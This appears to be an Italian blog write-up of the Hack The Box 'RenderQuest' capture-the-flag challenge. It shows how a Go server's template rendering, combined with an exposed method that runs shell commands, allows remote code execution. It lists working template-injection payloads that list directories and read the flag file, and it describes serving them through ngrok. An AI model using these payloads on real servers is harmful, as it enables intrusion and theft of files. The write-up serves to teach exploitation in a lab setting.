RenderQuest

Autore: Lord Shiva Aggiornamento: 11.11.2023 Tempo di lettura: 06 min.
 

La sfida inizia con una pagina Web che esegue il rendering dei file modello (.tpl) localmente e in remoto.

Scarichiamo il codice sorgente e analizziamolo.

    if remote == "true" {
        tmplFile, err = readRemoteFile(page)

        if err != nil {
            http.Error(w, "Internal Server Error", http.StatusInternalServerError)
            return
        }
    } else {
        tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")

        if err != nil {
            http.Error(w, "Internal Server Error", http.StatusInternalServerError)
            return
        }
    }

    tmpl, err := template.New("page").Parse(tmplFile)
    if err != nil {
        http.Error(w, "Internal Server Error", http.StatusInternalServerError)
        return
    }

    err = tmpl.Execute(w, reqData)
    if err != nil {
        http.Error(w, "Internal Server Error", http.StatusInternalServerError)
        return
    }

 Dal codice sorgente possiamo notare che esiste un modo per eseguire comandi di sistema

func (p RequestData) FetchServerInfo(command string) string {
    out, err := exec.Command("sh", "-c", command).Output()
    if err != nil {
        return ""
    }
    return string(out)
}

Possiamo creare un file modello che esegue comandi sul server utilizzando il codice go template.

Per identificare che il backend utilizza il motore del modello Go, possiamo utilizzare i seguenti payload:

  • {{ . }}: Rappresenta la struttura dati passata come input al modello.
    • Se i dati passati sono un oggetto con un attributo, è possibile utilizzarlo {{ .Attribute_name_here }} per divulgarli.
  • {{ printf "%s" "printing text" }}: possiamo anche chiamare print o altri metodi.

(Fonte)

In questo caso possiamo richiamare il metodo che ci permette di eseguire comandi sul server tramite:

{{.FetchServerInfo "command_here"}}

Prima di tutto, dobbiamo creare un file modello che serviremo configurando il nostro server.

$ cat exploit.tpl
{{.FetchServerInfo "ls -lah"}}

Essendo fuori dalla VPN è necessario attivare un servizio esterno per fare una triangolazione. Ho utilizzato il servizio ngrok:

ngrok http 80

A questo punto, una volta inviato il file il sistema restituirà la lista dei file presenti nella cartella. Modificare il file chiedendo la lista della root:

{{.FetchServerInfo "ls -la /"}}

Prendere il nome della Flag e rimodificare il file creato con il seguente codice:

{{.FetchServerInfo "cat /Flag_name.txt"}}

E rimandate il file... Gioco fatto!

Flag: HTB{qu3.............................5!!}